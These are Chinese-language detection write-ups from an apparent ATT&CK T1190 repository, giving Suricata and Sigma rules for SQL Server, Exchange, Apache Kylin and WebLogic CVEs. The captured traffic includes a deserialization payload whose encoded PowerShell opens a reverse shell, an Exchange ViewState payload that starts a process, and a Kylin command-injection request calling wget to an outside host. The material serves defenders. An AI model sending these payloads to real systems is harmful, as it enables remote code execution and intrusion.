Server服务的对应控制权限。--------- 影响范围:--------- ``` yml SQL Server 2016 Service Pack 2(GDR) 13.0.5026.0 - 13.0.5101.9 KB4505220 SQL Server 2016 Service Pack 2 CU11 13.0.5149.0 - 13.0.5598.27 KB4527378 SQL Server 2014 Service Pack 3 (GDR) 12.0.6024.0 - 12.0.6108.1 KB4505218 Server 2014 Service Pack 2 CU4 12.0.6205.1 - 12.0.6329.1 KB4500181 SQL Server 2012 Service Pack 4 (QFE) 111.0.7001.0 - 11.0.7462.6 KB4057116--------- ``` - -------- ## 检测日志--------- HTTP--------- ## 测试复现--------- ### 利用POC--------- ``` yml POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: X--------- NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=--------- ``` - -------- ## 测试留痕--------- ``` yml POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: 10.16.45.164:43452 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate Accept: */* Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 4931 Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHIAAADQANAAigAAAAAAAABYAAAAGgAaAFgAAAAAAAAAcgAAABAAEABaAQAANYKK4gYBsR0AAAAPZbeJ4F7Hurhq3KRbofjXh0EAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZNI4oLUbq8WOw+I6xP4TBQEBAAAAAAAAPxs79Pus1gEZGK1/9HV2LQAAAAACAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEAAQAeAFcASQBOAC0AQQBJAFUAQwBPAFUASwBJAFEANQBBAAQAHgBXAEkATgAtAEEASQBVAEMATwBVAEsASQBRADUAQQADAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEABwAIAD8bO/T7rNYBBgAEAAIAAAAAAAAAAAAAAPpOCRDGkg49ccL4zPkP3QI=--------- __VIEWSTATE=&NavigationCorrector%24PageState=NeedsCorrection&NavigationCorrector%24ViewState=%2FwEynBwAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAA4govYyBwb3dlcnNoZWxsLmV4ZSAtZW5jb2RlZENvbW1hbmQgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNJQU1RQTNBRElBTGdBeEFEWUFMZ0F4QURBQU1RQXVBREVBTlFBMkFDSUFMQUEwQURVQU5nQTNBQ2tBT3dBa0FITUFkQUJ5QUdVQVlRQnRBQ0FBUFFBZ0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCSEFHVUFkQUJUQUhRQWNnQmxBR0VBYlFBb0FDa0FPd0JiQUdJQWVRQjBBR1VBV3dCZEFGMEFKQUJpQUhrQWRBQmxBSE1BSUFBOUFDQUFNQUF1QUM0QU5nQTFBRFVBTXdBMUFId0FKUUI3QURBQWZRQTdBSGNBYUFCcEFHd0FaUUFvQUNnQUpBQnBBQ0FBUFFBZ0FDUUFjd0IwQUhJQVpRQmhBRzBBTGdCU0FHVUFZUUJrQUNnQUpBQmlBSGtBZEFCbEFITUFMQUFnQURBQUxBQWdBQ1FBWWdCNUFIUUFaUUJ6QUM0QVRBQmxBRzRBWndCMEFHZ0FLUUFwQUNBQUxRQnVBR1VBSUFBd0FDa0Fld0E3QUNRQVpBQmhBSFFBWVFBZ0FEMEFJQUFvQUU0QVpRQjNBQzBBVHdCaUFHb0FaUUJqQUhRQUlBQXRBRlFBZVFCd0FHVUFUZ0JoQUcwQVpRQWdBRk1BZVFCekFIUUFaUUJ0QUM0QVZBQmxBSGdBZEFBdUFFRUFVd0JEQUVrQVNRQkZBRzRBWXdCdkFHUUFhUUJ1QUdjQUtRQXVBRWNBWlFCMEFGTUFkQUJ5QUdrQWJnQm5BQ2dBSkFCaUFIa0FkQUJsQUhNQUxBQXdBQ3dBSUFBa0FHa0FLUUE3QUNRQWN3QmxBRzRBWkFCaUFHRUFZd0JyQUNBQVBRQWdBQ2dBYVFCbEFIZ0FJQUFrQUdRQVlRQjBBR0VBSUFBeUFENEFKZ0F4QUNBQWZBQWdBRThBZFFCMEFDMEFVd0IwQUhJQWFRQnVBR2NBSUFBcEFEc0FKQUJ6QUdVQWJnQmtBR0lBWVFCakFHc0FNZ0FnQUNBQVBRQWtBSE1BWlFCdUFHUUFZZ0JoQUdNQWF3QWdBQ3NBSUFBaUFGQUFVd0FnQUNJQUlBQXJBQ0FBS0FCd0FIY0FaQUFwQUM0QVVBQmhBSFFBYUFBZ0FDc0FJQUFpQUQ0QUlBQWlBRHNBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBSUFBOUFDQUFLQUJiQUhRQVpRQjRBSFFBTGdCbEFHNEFZd0J2QUdRQWFRQnVBR2NBWFFBNkFEb0FRUUJUQUVNQVNRQkpBQ2tBTGdCSEFHVUFkQUJDQUhrQWRBQmxBSE1BS0FBa0FITUFaUUJ1QUdRQVlnQmhBR01BYXdBeUFDa0FPd0FrQUhNQWRBQnlBR1VBWVFCdEFDNEFWd0J5QUdrQWRBQmxBQ2dBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBTEFBd0FDd0FKQUJ6QUdVQWJnQmtBR0lBZVFCMEFHVUFMZ0JNQUdVQWJnQm5BSFFBYUFBcEFEc0FKQUJ6QUhRQWNnQmxBR0VBYlFBdUFFWUFiQUIxQUhNQWFBQW9BQ2tBZlFBN0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCREFHd0Fid0J6QUdVQUtBQXBBQT09BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA%2BU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs%3DHTTP/1.1 200 OK Cache-Control: private Content-Length: 21744 Content-Type: text/html; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 X-AspNet-Version: 4.0.30319 X-Content-Type-Options: nosniff Date: Wed, 28 Oct 2020 07:28:38 GMT--------- --------- --------- - ...............

--------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
---------
---------
---------
---------
- --------
--------- ``` - -------- ## 检测规则/思路--------- ### Suricata规则--------- ``` s alert http any any -> any any (msg:"CVE-2020-0618-Sql-server远程代码执行";flow:established,to_server;content:"POST";http_method;content:"/ReportServer/pages/ReportViewer.aspx";http_uri;content:"NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=";http_client_body;reference:url,www.cnblogs.com/8gman/p/12323273.html;classtype:web-application-attck;sid:3002021;rev:1;)--------- ``` - -------- ### 建议--------- 流量+安全设备比较容易检测到此攻击行为。--------- ## 参考推荐--------- MITRE-ATT&CK-T1190--------- --------- CVE-2020-0618 SQL Server远程代码执行--------- --------- (CVE-2020-0618)sql2012远程代码执行漏洞修复--------- ================================================ FILE: Web/2020/T1190-CVE-2020-0688-Exchange漏洞利用检测.md ================================================ # T1190-CVE-2020-0688漏洞利用检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2020-0688漏洞 Microsoft Exchange Server是微软公司一套支持多种电子邮件网络协议的电子邮件服务组件,除传统的电子邮件的存取、储存、转发作用外,在新版本的产品中亦加入了一系列辅助功能,如语音邮件、邮件过滤筛选和OWA(基于Web的电子邮件存取)。 漏洞起于Microsoft Exchange服务器在安装时并没有正确创建唯一密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据,使攻击者可以在Exchange Control Panel web应用上执行任意.net代码。 ## 测试案例 具体复测可以参考 - CVE-2020-0688:Exchange Server使用固定加密密钥远程代码执行漏洞修复通告: - -------------------------------------------------------------------------------------------- - CVE-2020-0688_微软EXCHANGE服务的远程代码执行漏洞复现: ## 检测日志 HTTP流量、Windows sysmon日志、IIS日志、exchange日志 ## 测试复现 可参考上述测试案例 ## 测试留痕 HTTP流量检测规则基于payload关键词进行检测 Windows sysmon日志检测规则基于payload关键词检测 IIS日志检测规则,留痕如下: ``` yml 2020-03-09 17:16:50 ::1 POST /owa/auth.owa &CorrelationID=;&cafeReqId=9cff6edd-19a9-43c0-bdd2-a94adef6dd0c; 443 HealthMailbox062c8b451f3a4e21aa98fd88e45f499e@mail163.com ::1 Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+MSEXCHMON;+ACTIVEMONITORING;+OWACTP) - 302 0 0 0 2020-03-09 17:16:58 172.*.*.27 GET /ecp/default.aspx __VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4LJ%2F5i3bVSrOTrkun3pNej4tluDK0%3D&CorrelationID=;&cafeReqId=e0874638-b142-4c77-84c1-c0434137e691; 443 limou 10.0.254.139 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:73.0)+Gecko/20100101+Firefox/73.0 - 500 0 0 1502 ``` ## 检测规则/思路 ### sigma规则 ``` yml title: CVE-2020-0688 Exchange Exploitation via Web Log id: fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5 status: experimental description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 references: - https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/ author: Florian Roth date: 2020/02/29 logsource: category: webserver detection: selection1: cs-method: 'GET' c-uri|contains: - '/ecp/' - '/owa/' selection2: c-uri|contains: '__VIEWSTATE=' condition: selection1 and selection2 fields: - c-ip - c-dns falsepositives: - Unknown tags: - attack.initial_access - attack.t1190 level: critical ``` ``` yml title: CVE-2020-0688 Exploitation via Eventlog id: d6266bf5-935e-4661-b477-78772735a7cb status: experimental description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 references: - https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/ author: Florian Roth date: 2020/02/29 tags: - attack.initial_access - attack.t1190 logsource: product: windows service: application detection: selection1: EventID: 4 Source: MSExchange Control Panel Level: Error selection2: - '*&__VIEWSTATE=*' condition: selection1 and selection2 falsepositives: - Unknown level: high ``` ``` yml title: CVE-2020-0688 Exploitation IIS Eventlog id: d6266bf5-935e-4661-b477-78772735a7cb status: experimental description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 references: - https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/ author: Florian Roth date: 2020/02/29 tags: - attack.initial_access - attack.t1190 logsource: product: windows service: IIS detection: selection1: cs-method: 'POST' c-uri|contains: '/owa/auth.owa' selection2: cs-method: 'GET' c-uri|contains: '__VIEWSTATEGENERATOR=* __VIEWSTATE=' timeframe: 3s #可根据实际情况调整 condition: selection1 and selection2 falsepositives: - Unknown level: high ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 SIGMA rules 在MICROSOFT EXCHANGE SERVER上检测CVE-2020-0688远程执行代码漏洞 ================================================ FILE: Web/2020/T1190-CVE-2020-13925-Apache Kylin远程操作系统命令注入漏洞.md ================================================ # T1190-CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Apache Kylin最早由eBay于2013创建并且开源,2015年成为Apache基金会的顶级项目。他是目前大数据领域应用非常广泛的开源分布式的分析型数据仓库,能够提供提供Hadoop/Spark之上的SQL查询接口及多维分析(OLAP)能力。近年来,大数据行业方兴未艾,Apache Kylin被国内外的很多大型互联网企业广泛应用,被业界称为大数据分析界的“神兽”。 Kylin 系统提供了一个前后端分离的 WEB UI,用户可以在上面管理项目、创建模型、分析数据等。系统提供了一组系统诊断接口,用于在发生故障时获取项目、任务、操作系统的诊断信息,方便调试。 漏洞在于其中两个接口没有对输入参数做安全检查,并且在后续使用过程中拼接到了一个字符串中作为系统命令执行。黑客可以通过构造恶意参数值调用该接口,实现远程执行任意系统命令,获得运行 Apache Kylin 系统的操作系统账号权限。 调用这个两个漏洞接口,需要有账号能够登陆 WEB 系统,但因为该 WEB 系统在安装完成后或部署 docker 容器后会有一个默认管理员账号 admin,并且会设置固定的默认密码 “KYLIN”,如果管理员没有特意修改,则黑客可以直接登陆并利用漏洞。也可能被通过其他方式得到账号或Session的黑客或内鬼利用获得更高权限。 ## 检测日志 HTTP ## 测试复现 参考文章: ## 测试留痕 ``` yml GET /kylin/api/diag/project/%7c%7cwget%20qsm6epow3y6ajjhj4vi4mmkc339txi.burpcollaborator.net%7c%7c/download HTTP/1.1 Host: 10.16.45.164:7070 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.16.107.19:7070/kylin/admin Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: project=%22learn_kylin%22; JSESSIONID=9AC41F447D7504D31753F5D099A4157D; a=1; PHPSESSID=lodt0vr5t8b8rknhihm5ih04s0; zbx_sessionid=f959c1b9463c060987da90c5f916633f; tab=0 Connection: close ``` ## 检测规则/思路 ### Suricata规则 ``` s alert http any any -> any any (msg:"CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞";flow:established,to_server;content:"GET";http_method;content:"/kylin/api/diag/project";pcre:"/download/";http_uri;reference:url,www.suphp.cn/anquanke/67/210867.html;classtype:web-application-attck;sid:3002021;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 流量研判,请结合状态码及返回内容进行研判。 ## 参考推荐 MITRE-ATT&CK-T1190 Apache Kylin 远程命令执行漏洞(CVE-2020-13925) CVE-2020-13925漏洞复现 ================================================ FILE: Web/2020/T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞.md ================================================ # T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。 ### 0x1 影响版本 Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 ### 0x2 漏洞详情 可参考: # Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现 # CVE-2020-14882 weblogic 未授权命令执行复现 ## 检测日志 HTTP.log ## 测试复现 可参考漏洞详情部分 ## 检测规则/思路 ### sigma规则 ``` yml title: Oracle WebLogic Exploit CVE-2020-14882 status: 测试状态 description: 检测WebLogic服务器上的攻击企图 references: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882 - https://www.cnblogs.com/2rsh0u/p/13911794.html - https://www.cnblogs.com/potatsoSec/p/13895120.html logsource: category: webserver detection: selection: c-uri|contains: - '/console/images/%252E%252E%252Fconsole.portal' - '/console/css/%2e' condition: selection fields: - c-ip - c-dns falsepositives: - Unknown level: high tags: - attack.t1190 - attack.initial_access - cve.2020-14882 ``` ### 建议 建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。 ## 参考推荐 MITRE-ATT&CK-T1190 Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现 CVE-2020-14882 weblogic 未授权命令执行复现 ================================================ FILE: Web/2020/T1190-CVE-2020-16875-Exchange漏洞利用监测.md ================================================ # T1190-CVE-2020-16875-Exchange漏洞利用监测 ## 来自ATTCK描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2020-16875 由于对cmdlet参数的验证不正确,Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。 **利用条件:利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。** 因此在环境部署完成后需要新建一个用户“dahe”,同时也要为其开启DLP权限。 ``` bash New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "dahe" Get-RoleGroup "dlp users" | Format-List ``` 针对此漏洞的攻击将依次执行以下步骤: - 在给定帐户下进行身份验证。 - 通过访问DLP策略管理功能获取参数。 - 添加新的恶意DLP策略,其中包含从PowerShell运行的可执行命令。 ## 监测方法 使用IIS日志监测创建新DLP策略: ``` yml title: Creating a new DLP policy using IIS log monitoring description: windows server 2016 author: DHZN logsource: ​ product: windows ​ service: IIS detection: ​ selection: ​ http_method: POST http_code: 200 url_path|contain: '/ecp/DLPPolicy/ManagePolicyFromISV.aspx' ​ condition: selection level: medium ``` 想要利用该漏洞,必须创建一个新的策略,这个行为也会被记录在MSExchange管理日志中。在该事件的参数中包含恶意载荷:TemplateData。 使用Powershell日志/MSExchange管理日志监测创建新DLP策略: ``` yml title: Creating a new DLP policy using powrshell log or MSExchange Management Log monitoring description: windows server 2016 author: DHZN logsource: ​ product: windows ​ service: powershellaudit、MSExchange Management detection: ​ selection: ​ EventID: - 800 - 1 - 4014 Message|contains|all: - 'New-DlpPolicy' - '-TemplateData' - ---------------- ​ condition: selection level: medium ``` 使用Windows安全日志监测是否成功利用了CVE-2020-16875 ``` yml title: Monitoring CVE-2020-16875 utilization behavior using Windows security logs description: windows server 2016 author: DHZN logsource: ​ product: windows ​ service: Security detection: ​ selection: ​ EventID: 4688 proc_parent_file_path|endswith: 'w3wp.exe' proc_file_path|contains|endswitch: - 'cmd.exe' - 'powershell.exe' ​ condition: selection level: high ``` 在上述监测规则中,也可以调整子进程名称,对攻击者常见的进程名称进行监测,如whoami.exe等。 ## 参考链接 [Exchange漏洞分析系列 CVE-2020-16875](https://www.anquanke.com/post/id/219091) [CVE-2020-16875漏洞分析与复现](https://lhl7.github.io/2022/03/26/CVE-2020-16875%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/) ================================================ FILE: Web/2020/T1190-CVE-2020-17144-Exchange漏洞利用检测.md ================================================ # T1190-CVE-2020-17144漏洞利用检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2020-17144 漏洞是由程序未正确校验cmdlet参数引起。经过身份验证的攻击者利用该漏洞可实现远程代码执行。 该漏洞和 CVE-2020-0688 类似,也需要登录后才能利用,不过在利用时无需明文密码,只要具备 NTHash 即可。除了常规邮件服务与 OWA外,EWS接口也提供了利用所需的方法。漏洞的功能点本身还具备持久化功能。 ### 影响版本 Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 31 ### EXP用法 条件: Exchange2010; 普通用户 默认用法(写webshell): 